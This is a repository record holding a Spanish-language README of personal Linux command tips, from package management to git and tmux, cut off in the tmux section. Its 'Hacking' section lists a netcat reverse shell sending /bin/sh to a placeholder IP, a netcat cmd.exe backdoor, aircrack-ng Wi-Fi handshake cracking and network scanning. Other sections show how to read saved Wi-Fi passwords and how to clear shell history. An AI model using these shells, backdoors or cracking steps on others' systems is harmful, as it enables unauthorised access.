{"id":21399710,"url":"https://github.com/programandoconro/mis-comandos-linux","last_synced_at":"2026-03-16T19:33:17.684Z","repository":{"id":113420068,"uuid":"233639356","full_name":"programandoconro/Mis-Comandos-Linux","owner":"programandoconro","description":"📋 Lista descrita de mis 💯 comandos favoritos ⭐ en GNU/Linux 💻","archived":false,"fork":false,"pushed_at":"2025-01-25T10:14:31.000Z","size":179,"stargazers_count":37,"open_issues_count":0,"forks_count":11,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-07-13T20:46:21.382Z","etag":null,"topics":["bash","bash-hacks","comandos","comandos-de-linux","commands","debian","espanol","gnu-linux","linux","nmap","raspberry-pi","reverse-shell","shell","spanish","sudo","terminal","wifi"],"latest_commit_sha":null,"homepage":"","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/programandoconro.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2020-01-13T16:21:58.000Z","updated_at":"2025-07-13T20:19:59.000Z","dependencies_parsed_at":"2025-01-25T11:28:53.581Z","dependency_job_id":null,"html_url":"https://github.com/programandoconro/Mis-Comandos-Linux","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/programandoconro/Mis-Comandos-Linux","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/programandoconro%2FMis-Comandos-Linux","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/programandoconro%2FMis-Comandos-Linux/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/programandoconro%2FMis-Comandos-Linux/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/programandoconro%2FMis-Comandos-Linux/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/programandoconro","download_url":"https://codeload.github.com/programandoconro/Mis-Comandos-Linux/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/programandoconro%2FMis-Comandos-Linux/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279014292,"owners_count":26085489,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-13T02:00:06.723Z","response_time":61,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","bash-hacks","comandos","comandos-de-linux","commands","debian","espanol","gnu-linux","linux","nmap","raspberry-pi","reverse-shell","shell","spanish","sudo","terminal","wifi"],"created_at":"2024-11-22T15:16:20.181Z","updated_at":"2025-10-13T08:18:55.167Z","avatar_url":"https://github.com/programandoconro.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Una lista de mis comandos favoritos en Linux, por Ro\n\n0.  [Comandos básicos](#comandos-basicos)\n1.  [Navegación y sistema de archivos](#navegación-y-sistema-de-archivos)\n2. [Sistema](#sistema)\n3. [Networking](#networking)\n4. [Shortcuts en la terminal](#shortcuts-en-la-terminal)\n5. [Juegos](#juegos)\n6. [Video e imagenes](#video-e-imagenes)\n7. [Comandos intermedios](#comandos-intermedios)\n8. [Hacking](#hacking)\n9. [Procesamiento de texto](#procesamiento-de-texto)\n10. [SSH](#ssh)\n11.  [Git](#git)\n12. [Tmux](#tmux)\n13. [Vim](#vim)\n14. [Docker](#docker)\n15. [IoT](#iot)\n16. [Programación (Bash Scripting)](#programación-(bash-sripting))\n17. [Links](#links)\n\n\n## Comando básicos\n\nPrivilegios absolutos (root)\n\n```\nsu\n```\n\nSi el usuario pertenece al grupo de administradores\n\n```\nsudo -i\n``` \n\nPara ejecutar un comando que requiera permisos de administrador\n\n```\nsudo comando\n```\n** Si olvidamos escribir sudo y nos da un error por ello, podemos usar `sudo!!` para ejecutar el comando anterior con sudo de prefijo\n\n\nPara saber que distro de linux tienes\n\n```\nuname -a\n```\n\nVer la historia del terminal\n```\nhistory\n```\n* Para limpiar el historial ``history -c`` (bash)\n\n\nActualizar Debian/Ubuntu\n\n ```\n apt update -y\n apt upgrade -y\n ```\nEn Fedora/Centos se utiliza yum para gestionar los paquetes\n\n```\nyum update -y\n```\n\nArch/Manjaro\n\n```\npacman -Syy\npacman -Su\n```\n\nPuedes usar '\u0026\u0026' para varios comandos seguidos \n```\n apt update -y \u0026\u0026 apt upgrade -y \u0026\u0026 apt autoremove -y\n ```\n\nCrear usuario\n\n```\nsudo useradd nombreusuario\n```\n\nPara agregar usuarios a grupos, por ejemplo, grupo sudo\n\n```\nsudo usermod -aG sudo nombreusuario\n```\n\nEliminar usuario\n\n```\nsudo userdel nombreusuario\n```\n\nVer usuarios y detalles del host\n\n```\nusers\nhostnamectl\n```\n\nPara cambiar la contraseña utilizamos:\n\n```\npasswd\n```\n\nPara el root, utilizamos:\n\n```\nsudo passwd root\n```\n\nPara ver los grupos a los que pertenece el usuario\n\n```\ngroup nombreusuario\n``` \n\nPara saber el nombre del host\n\n```\nhostname\n```\n \nPara cambiar el nombre\n\n```\nhostnamectl set-hostname nuevonombre\n```\n\nInstala programas con snap (``apt install snapd`` o ``yum install snapd``), por ejemplo, VScode, Android Studio y VLC:\n\n```\nsnap install code --classic\nsnap install android-studio --classic\nsnap install vlc --classic\n```\nEn Arch/Manjaro no necesitamos snap, ya en con ``yay`` encontramos todo lo que necesitamos\n\n```\nyay -S vim code vlc\n```\n\n## Navegación y sistema de archivos\nCrear y navegar a las carpetas\n```\nmkdir carpeta\ncd /carpeta \n```\nRegresar al directorio anterior\n```\ncd ..\n```\nSaber el directorio en el que estamos\n```\npwd\n```\nCrear un archivo vacio:\n\n```\ntouch nombrearchivo\n```\n \nCrear un archivo con un texto corto:\n\n```\n echo \"Texto corto\" \u003e nombrearchivo\n```\n\nSi utilizamos \u003e\u003e agregamos el texto sin reemplazar el archivo. \n\n```\necho \"Agregamos texto nuevo\" \u003e\u003e nombrearchivo\n```\n\nSi queremos aplicar un comando a un archivo, por ejemplo, un sript mysql, usamos \"\u003c\" \n\n```\nmariadb --user=root --password -s \u003c mariadb.sql\n```\n\nPara echar un ojo a un archivo corto:\n\n ```\n cat archivo\n more archivo\n less archivo\n ```\n \nCon el editor nano podemos ver y editar archivos más grandes:\n\n ```\nnano nombrearchivo\n ```\n \nUtilizando Crlt-x guardamos los cambios. \nLimpiar la pantalla en la terminal\n```\nclear # o Crtl-L\n```\nEncontrar un archivo en el sistema:\n\n```\nfind / -name archivo\n```\n\n** En caso de que el archivo se encuentre en una carpeta que requiera permiso, usar `sudo` antes del comando.\n\nSaber el path de un programa:\n\n```\nwhereis programa-nombre\n```\n\nMostrar toda la estructura de los ficheros:\n\n```\ntree\n```\nCopiar archivos de un sitio a otro:\n\n ```\ncp carpeta/archivo carpeta/\n ```\n \nCrear copia con nuevo nombre\n\n```\ncp archivo nuevoarchivo\n```\n\nRenombrar archivos (no guarda la copia anterior)\n\n```\n mv archivo nuevoarchivo\n ```\n\nListar archivos \n\n```\nls\nls -l \nls -a # muestra permisos\n```\nPara mover archivos seguimos el mismo razonamiento que al copiar. Mientras que si es una carpeta debemos agregar -r.\n\n``` \nmv -r carpeta/ /carpeta/destino\n ```\n\nMover todos los archivos de una carpeta a otra\n\n```\nmv -r carpeta/ * /destino/\n```\n\nPara eliminar archivos y carpetas:\n ```\n rm nombrearchivo\n rm -r /carpeta\n \n```\nCuidado, ``#sudo rm -r /*``  destroza nuestro sistema, elimina todo\n\nCrear links a archivos es sencillo, por ejemplo, al \"``archivo1``\":\n\n```\nlink archivo1 archivo2\n```\n\nOpcionalemente podemos utilizar:\n\n```\nln archivo1 archivo2\n```\n\nPara crear links a directorios o entre particiones\n\n```\nln -s /dir1 archivos\n```\n\nEste comando es un combo, ya que permite saber que binarios tenemos instalados:\n\n```\nls /bin/ \u0026\u0026 ls /usr/bin\n```\n\nPara saber el número de archivos en una carpeta:\n\n``` \nls | wc -l\n```\n\n\nCrear un secuencia ``seq 1 10``\n\nPara buscar archivos\n\n```\nsudo apt-get install mlocate\nlocate -i archivo\n```\nLocalizar un comando:\n```\nwhich python\n```\nControlar los permisos para la accesibilidad de los archivos y carpetas de nuestro sistema, \n```\n# por ejemplo, dar todo tipo de acceso a un archivo:\nsudo chmod 777 nombrearchivo\nsudo chmod a+rwx nombrearchivo\n#O para que solamente root pueda acceder a ellos:\nsudo chmod 700 nombrearchivo\n```\nAcceso a carpeta para todos los usuarios:\n```\nchmod ugo+rwx nombrecarpeta\n```\n\nCambiar el 'owner' de /u y subdirectorios del usuario \"root\". Útil para acceder a archivos \"READ-ONLY\"\n\n```\nsudo chown -hR root /u\n```    \n\n\n### Sistema\n\nUsuario y tiempo conectado\n```\nuname -r\nuptime -p\n```\n\nPara conocer los usuarios logueados en el sistema:\n\n```\nwho\n```\n\nAlmacenamiento de los discos ``df``\n \nSi queremos saber donde está un dispositivo USB, disco duro y sus particiones:\n\n ```\nsudo fdisk -l\n ```\n\nPara conocer el espacio en el disco que un directorio utiliza: \n\n```\ndu -hs\n```\n\nLos procesos del sistema pueden mostrarse con:\n\n```\ntop\nhtop\nps -ef | less\n ```\nEl signo | nos permite concatenar comandos (pipes).\n\nImprimir todos los procesos en un momento determinado\n\n```\nps -ef\n```\n\nDetalles del Hardware y bios del sistema\n\n```\ndmidecode\n```\nPara saber el porcentaje de uso de los discos disponibles:\n\n```\ndf --total -hl\n```\n\nPara saber la memoria RAM disponible \n\n```\ngrep MemTotal /proc/meminfo\n# o\nfree -m\n```\n\n \nDescomprimir archivos\n \n ```\nunzip * .zip\ngunzip example.txt.gz\n ```\n\nInstalación de aplicaciones .deb. Tambien es posible usar ``gdebi``. \n\n```\ndpkg -i archivo.deb \u0026\u0026 apt install -f\n```\n\n\n``nohup`` para jecutar un comando o script en background, por ejemplo, un scrip de Python.\n\n```\nnohub python3 main.py \u003e flask.log 2\u003e\u00261 \u0026\n```\nDetener proceso \n\n ```\ntop\nkill idproceso\n ```\nTiempo de procesos\n\n```\necho \"sudo apt update -y\" \u003e myUpdate.sh \ntime bash myUpdate.sh\n```\n\nCaracterísticas del sistema\n\n```\nlshw\nlscpu\n```\nPara saber dispositivos conectados a los puertos USB:\n\n```\nlsusb\n```\nPara montar un disco, lo ubicamos con ``fdisk -l`` y luego ``sudo mount -rw /nombre/disco /mnt``.\n##### Script al iniciar el sistema (boot).\n\n```\nsudo crontab -e\n# Add line to file (here a python script):\n@reboot python3 /home/pi/Desktop/exemple.py \u0026\n```\n\nSalir, reiniciar, apagar en 30 min, apagar ahora, respectivamente.\n\n```\nexit\nreboot\nshutdown -h +30\npoweroff -f\n ```\n\n\n## Networking\n\nLos siguientes comandos utilizan systemctl para controlar servicios del sistema.\n```\nsystemctl enable nombreservicio\nsystemctl start nombreservicio\nsystemctl stop nombreservicio\nsystemctl disable nombreservicio\n```\nReiniciar Wifi \n\n```\nservice network-manager restart\n```\nIP local y Wifi.\n\n```\nifconfig\nip address\niwconfig\n```\n\nIP pública\n\n```\ncurl ifconfig.me\ncurl https://ipinfo.io/ip\n```\nSaber la claves Wi-Fi a la que nos hemos conectado:\n\n```\nsudo -i\ncd /etc/NetworkManager/system-connections\nls\ncat \"el archivo wifi\"\n```\nRuta\n\n```\nip route\nroute -n\n```\n\nEnviar peticiones a servidores online o en red local\n\n```\nping google.com\nping 192.168.1.1\n```\nVer las conexiones en los sockets de nuestro equipo\n\n```\nss\nss -l\nss | grep tcp\nss -t -a \n```\n \nIP del proveedor de Internet\n \n ``` \ngrep nameserver  /etc/resolv.conf | awk '{print $2}'\n ```\n \nIP del servidor local\n \n ```\nip route show |grep default | awk '{print $3}' | cut -d$'\\n' -f1\n ```\n \nIP local del dispositivo\n \n ```\nip address show $interface | grep \"inet \" | awk '{print $2}'\n ```\n##### Firewall\n```\nufw allow 22/tcp # o ufw allow 2222/tcp\nufw allow from 202.54.1.1 to any port 22\nufw limit ssh\nufw status\n```\nDetener y deshabilitar:\n```\nsystemctl stop ssh\nsystemclt disable ssh\n```\n\n##### Wget \n\nDescargar archivos desde la terminal, por ejemplo, instalador de RStudio para Debian 10 y Ubuntu 19. \n\n```\nwget https://download1.rstudio.org/desktop/bionic/amd64/rstudio-1.2.5001-amd64.deb\n```\n\nPara descargar archivos de un servidor o website. \n\n```\nwget -A pdf,csv,txt,png,jpg -m -p -E -k -K -np www.programandoconro.wordpress.com\n```\n\nDescargar el index.html y los links asociados al website.\n\n```\nwget -rpk www.programandoconro.wordpress.com\n```\nBrowser en terminal\n\n```\nelinks https://programandooconro.com\n```\n\n##### Tor \n\nPara navegar de manera anónima.  Simplemente descárgalo de https://www.torproject.org y: \n\n```\ntar -xvJf tor-browser-linux64-9.0.4_en-US.tar.xz \n./tor-browser_en-US/Browser/start-tor-browser \u0026\n```\n\n \n\n\n## Shortcuts en la terminal\n\nPara ir al principio del comando: `Ctrl-a`.\n\nPara ir al final del comando: `Ctrl-e`.\n\nPara borrar parabra: `Ctrl-w`.\n\nLimpiar la pantalla: `Ctrl-l`.\n\nCancelar: `Ctrl-c`.\n\nBorrar todo el comando: `Ctrl-u`.\n\nSalir: `Ctrl-d`.\n\n## Juegos\n \n ```\n apt-get install bastet moon-buggy ninvaders nsnake pacman4console neofetch figlet -y\n bastet\n moon-buggy\nfiglet HOLA AMIGO \n \n ``` \n El próximo comando te hará sentir en la matrix. (apt install cmatrix)\n \n ```\ncmatrix \ntelnet towel.blinkenlights.nl\n ``` \n\nCon neofetch podemos ver detalles de nuestro sistema de manera divertida (``apt install neofetch``)\n\n ```\nneofetch\n ```\n \nFactores en la terminal ``factor 12``\n \nVoltea la palabra que introduzcas ``rev`` agrega 123, por ejemplo. \n\nRepite un mensaje ``yes Viva Linux!!``\n \nProvocar sonidos en el computador (apt install beep / yum install beep) ``beep -f 4000 -D 500 -l 100 -r 100``\n\nTambién se puede hacer un banner, sencillamente: ``banner hola``\n\nInstalar nuevos themes e íconos\n\n```\napt search shell-theme # o dnf en Fedora\napt search icon-theme\n\napt install ... # dnf install ... \n```\n## Video e imagenes\n\n##### Crear gifs animados (``ImageMagick``):\n\n```\nconvert -delay 10 -loop 0 * .png mygif.gif\n```\n\n##### Ver fotos en la terminal(``apt install fbi``:\n\n```fbi foto.png ```\n\n##### VLC para controlar la música desde la línea de comandos. \n\n ```\n cvlc /music\n # para ver opciones de control:\n vlc --help\n ```\n##### Descargar videos\n \n```\nyoutube-dl $url\n# solamente audio\nyoutube-dl --extract-audio --format mp3 \n# Ver los formatos disponibles \nyoutube-dl -F $url\n```\n\n## Comandos intermedios\n\nCrear un USB bootable con cualquier imagen de Linux.  \n```\nsudo dd bs=4M if=arch.iso of=/dev/sdb status=progress\n```\nBuscar paquetes que contienen algun comando que requerimos\n\n```\n# Debian / Ubuntu\napt search paquete\n\n# Fedora / Centos\nyum search paquete\n\n# Manjaro / Arch\npacman -Ss paquete\n```\nPara ejecutar scripts al iniciar el sistema\n```\ncd ~\nsudo nano .bashrc\n# Escribe el script\n./script\n```\n##### Crear tu propio comando.\n```\nsudo -i\necho echo 'Hello World Linux' \u003e mi-super-comando\nchmod +x mi-super-comando \u0026\u0026 cp mi-super-comando /usr/bin/\nmi-super-comando\n```\nCambiar el banner cuando accedemos al shell del servidor.\n\n```\nvim /etc/motd\n```\nPara seguir ejecutando un comando incluso despues de cerrar la sesión en tu servidor. Usa ``ssh``para entrar en tu servidor. Luego ejecuta ``screen``, esto creará una nueva pantalla, ejecuta el comando que deseas que siga corriendo después de desloguearte y finalmente ``Ctrl`` + ad. El comando seguirá corriendo.\n\nListar las aplicaciones desktop\n\n```\nls /usr/share/applications | awk -F '.desktop' ' { print $1}' -\n```\n\nEsperar 10 segundos. \n\n```\nsleep 10\n```\n##### Ejecutar un comando cada 2 segundos.\n\n```\nwatch ls\n```\nSi desde otras ventana agregas unos archivos, podrás ver los cambios en ventana que ejecuta watch. \n\nAsignar nombre a variable introducida por el usuario:\n\n```\nread -p \"Enter a word: \" word\necho \"You entered $word\"\n```\n\nProgramar tareas\n\n```\nrm -f /var/run/crond.pid #delete pid\ncron 00 00 * * * myUpdate.sh #todos los dias a las 12\n```\nCambiar el tamaño de las fuente en terminal. \n```\ndpkg-reconfigure console-setup\n```\n\nKill procesos en un socket determinado\n\n```\nsudo lsof -t -i tcp:8000 | xargs kill -9\n```\n\nAsignar \"alias\" a comandos, por ejemplo:\n\n```\nalias python=python3\n```\nPara que estos cambios sean permanentes, puedes agreagar un ``alias`` en el archivo ``bashrc``:\n\n```\necho \"alias python='python3.9'\" \u003e\u003e ~/.bashrc\nsource ~/.bashrc\n```\n\nCrear tu propio comando:\n\n```\necho \"echo MI PROPIO COMANDO\" \u003e micomando\nchmod +x micomando\nsudo mv micomando /usr/bin/\n\nmicomando\n\n```\nFormatear USB:\n``` \nfdisk -l # encontramos el dispositivo, por ejemplo sdc1.\numount /dev/sdc1\nsudo mkfs -t vfat /dev/sdc1\n``` \n\nControlar luz de la pantalla (Debes encontrar el archivo ``brightness``):\n\n```\necho 8 \u003e /sys/class/backlight/intel_backlight/brightness \n```\n\nEscribir un script de varias líneas en la terminal sin usar un editor.\n\n```\ncat \u003c\u003cEOF \u003e print.sh\n#!/bin/bash\necho esta es una línea\necho esta es otra línea\nEOF\n```\n``sh print.sh``\n\nEjecutar un script cada vez que iniciemos una sesión, por ejemplo, un programa ``python``:\n\n``sudo vim /etc/profile`` y agregamos al final ``sudo python /carpeta/con/el/programa/nombreprograma.py \u0026``\n\nPasar parámetros a una función: \n\n```\nmiFuncion() {\n   echo Hola \"$1\"\n}\nmiFuncion mundo\n```\n## Hacking\n\n### Nmap \n\n(``apt install nmap``)\n\n```\nnmap localhost\n\n# Para evaluar la red local entera:\nnmap 192.168.1.1/24 #(o 192.168.0.1/24)\n\n#filtrar por puerto y estado \nnmap -Pn 192.168.1.1/24 -p22 -open  \n\n# Auditar \nnmap -Pn **PublicIP**/24 \n```\nBloquear IPs que intenten conectar sin permiso\n\n```\niptables -A INPUT -s $IP -j DROP\n ```\n\n Elegir en cual servidor mostrar el display. \n\n```\nexport DISPLAY=:0 # en el servidor local\nexport DISPLAY=:1 # en el servidor remoto\n ```\n##### Reverse shell tunneling:\n \n El cliente con Firewall se conecta a la computadora del desarrollador (dev), y envía su shell de manera reversa (``-R--``), creando un túnel.\n \n ```\nssh -R 19999:localhost:22 dev@publicIP\n```\n \n El desarrollador escucha en el puerto 19999 y accede a la computadora del cliente (cli), gracias al túnel abierto.\n \n ``ssh cli@localhost -p 19999``\n \n Redirigir un puerto (ej. 80) de una computadora remota al localhost (ej. 2002):\n \n ``ssh -N -L2002:localhost:80 user@ip_machine``\n\n##### Compartir la terminal en el browser\n\n(``apt install tmate`` / ``yum install tmate``)\n\n```\ntmate\n```\n \n##### Modo Monitor de Wifi, Sniffing y Crackeo con aircrack-ng (``apt install aircrack-ng``)\n \n```\nifconfig wlan1 down\niwconfig wlan1 mode monitor\niwconfig\nairdump-ng\nairodump-ng -c 1 --bssid XX:XX:XX:XX:XX:XX:XX -w output wlan1\naircrack-ng -b 00:14:6C:7E:40:80 output.cap -w mydiccionary.txt \n```\nEscaneo de Redes Wifi Disponibles \n```\nsudo iwlist wlan0 scan | egrep \"Cell|ESSID|Signal|Rates\"\n```\n\n#### Ncat\n##### Reverse Shell:\n\nDesarrollador escucha en puerto 4444\n\n```\n nc -lvp 4444 \n```\n\nCliente envía su Shell a la IP del desarrollador\n\n```\nnc **IP** 4444 -e /bin/sh\n```\n\n##### Backdoor\n\nEjecutar en el servidor remoto\n\n```\nnc -L -p 3001 -d -e cmd.exe\n```\n\n##### Servidor web inseguro\n\n```\nwhile : ; do ( echo -ne \"HTTP/1.1 200 OK\\r\\n\" ; cat index.html; ) | nc -l -p 8080 ; done\n```\n##### Chat\n```\nnc -l -vv -p 5000\nnc 192.168.56.1 5000\n```\nEnviar archivo (inseguro)\n\n```\nReceptor escucha:\nnc -l -p 9999 \u003e test.txt\n\nEl otro lado envía:\nnc 192.168.0.1 9999 \u003c test.txt\n```\n\nEnviar archivo via ncat por tunel ssh (Seguro)\n\n```\nnc myDocument.pdf | ssh me.myserver.com nc -l -p 20000\n# cliente\nnc me.myserver.com 20000 \u003e myDocument.pdf\n\n ```\n\n## Procesamiento de texto\n##### Sed\nCortar una sección intermedia de filas\n```\nsed -n '250, 260p' archivo1.txt \u003e archivo2.txt\n```\nObtener la primera fila de datos\n```\nsed 1d archivo\n```\nEliminar la última línea o fila de datos\n```\nsed -i '$ d' archivo\n```\n##### Awk\nCambiar el orden de columnas\n```\nawk '{ print $3, $1 }' archivo.txt\n\nps -ef | awk -F \" \" '{print $2}' \n```\nPara seleccionar la quinta columna, utilizamos:\n\n```\nawk '{print $5}' archivo\n```\n##### Grep\nPara listar los archivos que tengan un patrón de texto, por ejemplo, que terminen en .iso. \n```\nls | grep * .iso\n```\nEncontrar texto con ``grep`` o ``egrep``\n```\ntouch example\nls | egrep example\n```\nBuscar texto en archivo\n\n``look texto archivo`` o ``grep texto archivo``\n\nEncontrar después de patrón:\n```\necho \"field1 field2 field3 field4\" | grep -oP '(?\u003c=field3 )[^ ]*'\n```\nAntes del patrón de texto:\n```\necho \"field1 field2 field3 field4\" | grep -oP '(?\u003c=field2 )\\w+'\n```\nConocer la cantidad de filas en un archivo\n\n##### Filas\n```\nwc -l archivo\n```\nPara acceder a las 10 primeras y últimas filas:\n\n ```\nhead -10 archivo\ntail -10 archivo\n ```\n\nSi el archivo es demasiado grande, podemos separarlo en varias partes, por ejemplo, cinco:\n\n```\nsplit -n l/5 archivo x\n```\n\nSeparar columnas en función de un caracter, por ejemplo, dos puntos (:)\n\n ```\ncut -d ':' -f1 archivo\n ```\n\n## SSH\n\nInstalar\n```\nsudo apt-get install openssh-server -y\nsudo systemctl enable ssh \nsudo systemctl start ssh\nsudo systemclt status ssh\n```\n\nAgregar llaves para no usar contraseñas.\n```\nssh-keygen\nssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer\nssh-add\n```\nCopiar archivos local --\u003e remoto\n\n```\nscp /dir/al/archivo user@remote.local:~/Destino/\nscp -P 22 -r /dir/ user@remote:~/Destino/\n```\nCopiar archivos remoto --\u003e local\n```\nscp user@ip:file.txt /path/to/dest \n```\nSí hay una ``ssh key`` requerida: \nPuedes conectar con: \n```\nssh -i tu_ssh_key.pem user@server_ip\n```\nY copiar archivos con:\n```\nscp -r -i tu_ssh_key.pem tu_archivo user@server_ip:~ \n```\nPara ejecutar comandos a distancia:\n\n``ssh user@remote.local ls``\n\nPara conectar fuera de la red local necesitamos la IP pública del router y haber abierto un túnel para un servidor local\n\n``ssh user@IP`` \n\nConectar\n\n ```\nssh usuario@servidor.local\n# o \n ssh usuario@IP\n ```\n Conectar SSH sin password\n \n ```\n ssh-keygen\n ssh-copy-id -i ~/.ssh/id_rsa.pub usuario@servidor.local\n ```\n\n### Git\n\nPara descargar un repositorios Git:\n\n ```\n git clone https://github.com/progamandoconro/My-Lynux-Locker\n ```\n \nPara actualizar el repositorio local a partir de GitHub:\n\n ```\n git pull origin master\n ```\n \nLos commits y los push también pueden realizarse de esta manera o directamente en GitHub. \n\n```\ngit add . # Agregar todos los archivos \ngit add /path/to/file # Agregar un archivo concreto\ngit diff --cached \ngit commit -m 'comment'\ngit commit --amend -m 'my corrected comment' # Para corregir el mensaje del commit anterior. \ngit push -u origin master\ngit checkout -b 'robranch' # Crear nueva branch\ngit checkout miotrabranch # Cambiar de branch\ngit swith - # Cambiar a la brach anterior\ngit push origin robranch\ngit branch -a # Ver las branchs\ngit branch -m # renombrar la branch actual\ngit merge \u003cotra-branch\u003e # Une otra branch con la branch en la te encuentras\ngit merge --squash \u003cotra-branch\u003e # Igual que el anterior pero junta todo los commits(es necesario hacer un nuevo `git add .` y `git commit -m \"mensaje\"`)\ngit fetch --all # Actualizar las branchs\ngit rm --cached myarchivo.txt # Elimina el archivo en todo el historial\ngit remote update origin --prune # Actualiza las branchs remotas localmente\ngit stash # ir al commit anterior pero salvando los datos por si acaso quieres usar luego.\ngit stash pop # para regresar al stash previo (al que no se le ha hecho commit). \ngit stash push -m \"mensaje\" # Para hacer stash (\"salvar los cambios\" sin commit) y agregar un mensaje a dicho stash.\ngit stash list # ver la lista de stashs.\n\n```\nMás opciones y comandos de git: \n```\ngit init\ngit config --global user.name \"Your Name Comes Here\"\ngit config --global user.email you@yourdomain.example.com\ngit config --list # para saber el nombre e email configurados en git\ngit status\ngit log\ngit log -p\ngit log -S # searchs a word in the commits\ngit log --stat --summary\ngit log --graph --decorate --oneline\ngit help -a \ngit help -g\n```\nRevertir commit:\n```\ngit log --oneline # Para obtener la id del commit al que desear regresar.\ngit checkout \u003ccommit-id\u003e\ngit add . \u0026\u0026 git commit \"Go back\" \u0026\u0026 git push origin \u003cbranch\u003e\n```\nVolver al commit anterior sin guardar cambios agregados:\n```\ngit reset --soft HEAD\n```\nVolver a un commit puntual:\n```\n# Busca el commit id con `git log` seguido de\ngit reset \u003ccommit-id\u003e\n```\nEn caso que no hayas hecho `git add .`, puedes usar el siguiente comando para volver al commit previo y eliminar los cambios:\n```\ngit checkout .     # Bueno cuando los experimentos no salieron bien y quieres volver al commit anterior\n```\n** Podemos usar HEAD~2 para volver dos commit atras de HEAD.\n\nUsando `git reset --hard` seguido del hash del commit, volvemos a dicho commit.\n\nSi realizaste un commit pero luego quieres agregar nuevos cambios al mismo sin necesidad de un nuevo commit:\n\n```\ngit add . # o agrega lo archivo puntuales\ngit commit --amend\n```\n\nComparar tu branch con develop y mostrar sólo los cambios realizados:\n```\ngit diff develop -U0 | grep '^[+-]' | grep -Ev '^(--- a/|\\+\\+\\+ b/)'\n\n```\n\nHacer `git add .` y git commit -m \"mensaje\" en un solo comando:\n```\ngit commit -am \"mensaje\"\n```\n\nRenombrar varios commits viejos:\n\nUsa `git log --stat` para obtener el sha del commit antiguo. Luego `git rebase -i \u003csha\u003e`, cambia el texto `pick` por `reword`. Seguido de esto, se van a abrir, uno a uno, editores de texto para cambiar el mensaje de cada commit.  \n\nHacer `squash` a commits anteriores:\n```\ngit rebase -i HEAD~\u003cnumber of commits\u003e.   # Change  \"pick\"  with \"squash\"\n\n```\nEs posible forzar una branch a cierto estado anterior y luego usar cherry-pick para utilizar commits específicos. Por ejemplo, supongamos que creamos una branch a partir de feature/branch que tiener muchos commits que develop no. Nosotros hicimos un par de commits adicionales pero ahora queremos solo ese par de commits en develop. \n\n```\n# IMPORTANTE tener guardados los ids de los commits para el cherry-pick, ya que no aparecerán en el git log luego del reset.\ngit reset --HARD develop \u0026 git clean -f\ngit cherry-pick commitA commitB \n\n```\nVer los commits recientes a un archivo\n```\ngit log -3 {path-del-archivo} # muestra los 3 commits recientes\n```\nVer los cambios hechos por un commit en un archivo:\n```\ngit show {commit-id} -- {path-del-archivo}\n```\nVim Macros:\nPodemos grabar movimientos complejos para reproducirlos después en otras partes. Muy útil cuando hay un patrón concreto y complejo que queremos repetir automáticamente.\nComenzamos con grabar con  `q` seguido de una letra que va a representar el registro donde guardaremos la combinación. Por ejemplo, la letra a.\n```\nqa\n```\nAhora empezamos el patrón, por ejemplo, agregar un `div` de html al principio y final de una línea\n```\n0i\u003cdiv\u003e\u003cESC\u003e$a\u003c/div\u003e\u003cESC\u003eq\n```\nEsta combinación va al principio de la línea con `0`, luego modo de insertar con `i`, seguido del texto que queremos agreager al principio (\u003cdiv\u003e). Vamos a normal mode con `ESC`, al final de la línea con `$` seguido de `a` para insertar luego del último caracter. Agregamos el texto `\u003c/div\u003e` y terminamos de grabar el macro con `ESC` y `q`.\n\nPara ejecutar el comando en una nueva línea, usamos\n```\n@a\n```\nRecordando que `a` era el registro donde guardamos el movimiento.\nExtra tips:\n\n* Si creas un archivo ``.gitignore`` en el directorio, git ignora los archivos que determines.\n\n* Puedes crear ``alias`` por ejemplo, para agregar los archivo en el directorio actual y hacer un commit al mismo tiempo:\n\n```\ngit config --global alias.ac '!git add . \u0026\u0026 git commit -m'\n```\n* Buscar archivos que contengan una palabra específica en el código dentro de todo el repositorio con ``git grep 'palabra(s)'``\n\n* Guardar el estado actual del repositorio sin hacer commit con ``git stash``. Usando ``git stash pop`` volvemos al estado en el que estabamos trabajando. \n\n* Tutorial de git\n``git help tutorial``\n\n### Tmux\n\nInstalar: ``apt install tmux``\n\nCrear una session: ``tmux new -s mysession``\n\nDividir panel verticalmente: ``Ctrl b`` + ``%``\n\nDividir panel horizontalmente: ``Ctrl b`` + ``\"``\n\nMoverse enter panels: ``Ctrl b`` + arrows # puede ser remapeado al estilo vim motion\n\nCrear nueva ventana: ``Ctrl b`` + c\n\nListar ventanas: `Ctrl b w`\n\nIr a la ventana pasada: `Ctrl b l`\n\nIr a la ventana anterior: `Ctrl b p`\n\nIr a la ventana siguiente: `Ctrl b n`\n\nCambiar el size de la ventana:\n\n``Ctrl b`` + ``:`` + \n\n```\nresize-pane -D (Resizes the current pane down)\nresize-pane -U (Resizes the 